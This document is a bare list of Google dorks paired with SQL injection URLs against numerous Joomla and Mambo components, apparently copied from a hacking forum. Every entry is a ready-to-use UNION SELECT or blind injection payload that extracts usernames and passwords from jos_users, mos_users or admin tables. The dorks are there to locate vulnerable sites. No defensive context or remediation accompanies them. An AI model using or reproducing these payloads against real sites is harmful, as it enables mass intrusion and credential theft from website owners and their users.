SQLI Jomla

DORK: allinurl:com_comprofiler

/index.php?option=com_comprofiler&task=userProfile& user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

DORK 1 : inurl:com_filiale

/index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10, 11+from+jos_users

DORK 1 : inurl:com_flippingbook

/index.php?option=com_flippingbook&Itemid=28&book_i d=null/**/union/**/select/**/null,concat(username,0x3e,password),null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*

DORK: allinurl:com_jpad

/index.php?option=com_jpad&task=edit&Itemid=39&cid=-1 UNION ALL SELECT 1,2,3,concat_ws(0x3a,username,password),5,6,7,8 from jos_users--


DORK 1 : allinurl: "com_actualite"

index.php?option=com_actualite&task=edit&id=-1%20union%20select%201,concat(username,char(32),pa ssword),3,4,5,6,7,8,9%20from%20jos_users/*


DORK 1 : allinurl: "com_ahsshop"do=default

EXPLOiT 1 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,3,4,0x3a,6,0 x3a/**/from/**/mos_users/*

EXPLOiT 2 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/concat(username,0x3a,password),1/**/from/**/mos_users/*

arama kodu:/index.php?option=com_myalbum

exploit:
/index.php?option=com_myalbum&album=-1+union+select+0,concat(username,char(32),password ),2,3,4%20from%20jos_users/*


DORK 1 : inurl: "com_alphacontent"

DORK 2 : "AlphaContent 2.5.8 © 2005-2008 - visualclinic.fr"


index.php?option=com_alphacontent&section=6&cat=15 &task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user() ,user(),user(),user(),user(),user(),user(),user(), user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),use​r(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user()​,user(),user(),39/**/from/**/jos_users/*


DORK 1 : allinurl: "com_cinema"

EXPLOiT 1 :

index.php?option=com_cinema&Itemid=S@BUN&func=deta il&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(u sername,0x3a,password)/**/from/**/jos_users/*

EXPLOiT 2 :

index.php?option=com_cinema&Itemid=S@BUN&func=deta il&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27,29,29,30,concat(usernam e,0x3a,password)/**/from/**/jos_users/*

DORK 2 : allinurl: "com_d3000"

index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/*

DORK: /index.php?option=com_rekry

/index.php?option=com_rekry&Itemid=60&rekryview=vie w&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--